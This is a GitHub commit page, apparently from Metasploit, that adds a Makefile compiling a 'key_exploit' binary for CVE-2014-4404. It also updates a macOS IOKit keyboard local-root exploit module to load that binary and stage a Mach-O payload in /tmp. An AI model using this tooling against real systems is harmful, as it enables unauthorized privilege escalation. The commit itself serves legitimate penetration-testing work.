Skip to content

Commit 7772da5

Browse files
committed
Change paths, add makefile and compile
1 parent b6306ef commit 7772da5

File tree

3 files changed

+13
-2
lines changed

3 files changed

+13
-2
lines changed
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
all: key_exploit
2+
3+
key_exploit: key_exploit.c
4+
clang -o key_exploit key_exploit.c -framework CoreFoundation -framework IOKit -g -D_FORTIFY_SOURCE=0
5+
6+
install: key_exploit
7+
install -m 755 key_exploit ../../../../data/exploits/CVE-2014-4404
8+
9+
clean:
10+
rm -rf key_exploit
11+
rm -rf key_exploit.dSYM

modules/exploits/osx/local/iokit_keyboard_root.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -60,8 +60,8 @@ def check
6060
end
6161

6262
def exploit
63-
osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
64-
binary_exploit = File.read(File.join(osx_path, 'key_exploit.bin'))
63+
exploit_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2014-4404')
64+
binary_exploit = File.read(File.join(exploit_path, 'key_exploit'))
6565
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
6666
exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
6767
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"

0 commit comments

Comments
 (0)